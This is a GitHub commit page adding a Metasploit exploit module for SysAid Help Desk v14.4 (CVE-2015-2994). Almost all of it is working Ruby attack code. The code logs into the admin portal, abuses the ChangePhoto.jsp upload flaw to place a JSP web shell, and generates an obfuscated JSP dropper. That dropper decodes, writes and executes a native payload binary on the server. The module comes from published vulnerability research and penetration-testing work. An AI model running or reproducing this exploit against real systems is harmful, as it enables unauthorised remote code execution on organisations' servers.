Skip to content

Commit 46ffb97

Browse files
committed
Land rapid7#5471, @pedrib's module for SysAid CVE-2015-2994
* sysaid arbitrary file upload
2 parents 787c0e2 + 309a86e commit 46ffb97

File tree

1 file changed

+270
-0
lines changed

1 file changed

+270
-0
lines changed
Lines changed: 270 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,270 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in SysAid Help Desk.
20+
The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
21+
which does not handle correctly directory traversal sequences and does not
22+
enforce file extension restrictions. You need to have an administrator account,
23+
but there is a Metasploit auxiliary module that can create one for you.
24+
This module has been tested in SysAid v14.4 in both Linux and Windows.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
['CVE', '2015-2994'],
34+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'],
35+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
36+
],
37+
'DefaultOptions' => { 'WfsDelay' => 5 },
38+
'Privileged' => false,
39+
'Platform' => %w{ linux win },
40+
'Arch' => ARCH_X86,
41+
'Targets' =>
42+
[
43+
[ 'Automatic', { } ],
44+
[ 'SysAid Help Desk v14.4 / Linux',
45+
{
46+
'Platform' => 'linux'
47+
}
48+
],
49+
[ 'SysAid Help Desk v14.4 / Windows',
50+
{
51+
'Platform' => 'win'
52+
}
53+
]
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Jun 3 2015'))
57+
58+
register_options(
59+
[
60+
OptPort.new('RPORT', [true, 'The target port', 8080]),
61+
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
62+
OptString.new('USERNAME', [true, 'The username to login as']),
63+
OptString.new('PASSWORD', [true, 'Password for the specified username']),
64+
], self.class)
65+
end
66+
67+
68+
def check
69+
res = send_request_cgi({
70+
'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
71+
'method' => 'GET'
72+
})
73+
if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/
74+
major = $1.to_i
75+
minor = $2.to_i
76+
if major == 14 && minor == 4
77+
return Exploit::CheckCode::Appears
78+
elsif major > 14
79+
return Exploit::CheckCode::Safe
80+
end
81+
end
82+
# Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
83+
return Exploit::CheckCode::Unknown
84+
end
85+
86+
87+
def authenticate
88+
res = send_request_cgi({
89+
'uri' => normalize_uri(datastore['TARGETURI'], 'Login.jsp'),
90+
'method' => 'POST',
91+
'vars_post' => {
92+
'userName' => datastore['USERNAME'],
93+
'password' => datastore['PASSWORD']
94+
}
95+
})
96+
97+
if res && res.code == 302 && res.get_cookies
98+
return res.get_cookies
99+
else
100+
return nil
101+
end
102+
end
103+
104+
105+
def upload_payload(payload, is_exploit)
106+
post_data = Rex::MIME::Message.new
107+
post_data.add_part(payload,
108+
'application/octet-stream', 'binary',
109+
"form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")
110+
111+
data = post_data.to_s
112+
113+
if is_exploit
114+
print_status("#{peer} - Uploading payload...")
115+
end
116+
117+
res = send_request_cgi({
118+
'uri' => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
119+
'method' => 'POST',
120+
'cookie' => @cookie,
121+
'data' => data,
122+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
123+
'vars_get' => { 'isUpload' => 'true' }
124+
})
125+
126+
if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
127+
if is_exploit
128+
print_status("#{peer} - Payload uploaded successfully")
129+
end
130+
131+
return $1
132+
else
133+
return nil
134+
end
135+
end
136+
137+
def pick_target
138+
unless target.name == 'Automatic'
139+
return target
140+
end
141+
142+
print_status("#{peer} - Determining target")
143+
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
144+
url = upload_payload(os_finder_payload, false)
145+
146+
res = send_request_cgi({
147+
'uri' => normalize_uri(datastore['TARGETURI'], url),
148+
'method' => 'GET',
149+
'cookie' => @cookie,
150+
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
151+
})
152+
153+
if res && res.code == 200
154+
if res.body.to_s =~ /Linux/
155+
register_files_for_cleanup('webapps/' + url)
156+
return targets[1]
157+
elsif res.body.to_s =~ /Windows/
158+
register_files_for_cleanup('root/' + url)
159+
return targets[2]
160+
end
161+
end
162+
163+
nil
164+
end
165+
166+
def generate_jsp_payload
167+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
168+
exe = generate_payload_exe(opts)
169+
base64_exe = Rex::Text.encode_base64(exe)
170+
171+
native_payload_name = rand_text_alpha(rand(6)+3)
172+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
173+
174+
var_raw = rand_text_alpha(rand(8) + 3)
175+
var_ostream = rand_text_alpha(rand(8) + 3)
176+
var_buf = rand_text_alpha(rand(8) + 3)
177+
var_decoder = rand_text_alpha(rand(8) + 3)
178+
var_tmp = rand_text_alpha(rand(8) + 3)
179+
var_path = rand_text_alpha(rand(8) + 3)
180+
var_proc2 = rand_text_alpha(rand(8) + 3)
181+
182+
if @my_target['Platform'] == 'linux'
183+
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
184+
chmod = %Q|
185+
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
186+
Thread.sleep(200);
187+
|
188+
189+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
190+
cleanup = %Q|
191+
Thread.sleep(200);
192+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
193+
|
194+
else
195+
chmod = ''
196+
cleanup = ''
197+
end
198+
199+
jsp = %Q|
200+
<%@page import="java.io.*"%>
201+
<%@page import="sun.misc.BASE64Decoder"%>
202+
<%
203+
try {
204+
String #{var_buf} = "#{base64_exe}";
205+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
206+
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
207+
208+
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
209+
String #{var_path} = #{var_tmp}.getAbsolutePath();
210+
211+
BufferedOutputStream #{var_ostream} =
212+
new BufferedOutputStream(new FileOutputStream(#{var_path}));
213+
#{var_ostream}.write(#{var_raw});
214+
#{var_ostream}.close();
215+
#{chmod}
216+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
217+
#{cleanup}
218+
} catch (Exception e) {
219+
}
220+
%>
221+
|
222+
223+
jsp = jsp.gsub(/\n/, '')
224+
jsp = jsp.gsub(/\t/, '')
225+
jsp = jsp.gsub(/\x0d\x0a/, '')
226+
jsp = jsp.gsub(/\x0a/, '')
227+
228+
return jsp
229+
end
230+
231+
def exploit
232+
@cookie = authenticate
233+
unless @cookie
234+
fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.")
235+
end
236+
print_status("#{peer} - Authentication was successful with the provided credentials.")
237+
238+
@my_target = pick_target
239+
if @my_target.nil?
240+
fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
241+
end
242+
print_status("#{peer} - Selected target #{@my_target.name}")
243+
244+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
245+
# Fail if this is the case and ask the user to select an appropriate payload.
246+
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
247+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
248+
end
249+
250+
jsp_payload = generate_jsp_payload
251+
jsp_path = upload_payload(jsp_payload, true)
252+
unless jsp_path
253+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
254+
end
255+
256+
if @my_target == targets[1]
257+
register_files_for_cleanup('webapps/' + jsp_path)
258+
else
259+
register_files_for_cleanup('root/' + jsp_path)
260+
end
261+
262+
print_status("#{peer} - Executing payload...")
263+
send_request_cgi({
264+
'uri' => normalize_uri(datastore['TARGETURI'], jsp_path),
265+
'method' => 'GET',
266+
'cookie' => @cookie,
267+
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
268+
})
269+
end
270+
end

0 commit comments

Comments
 (0)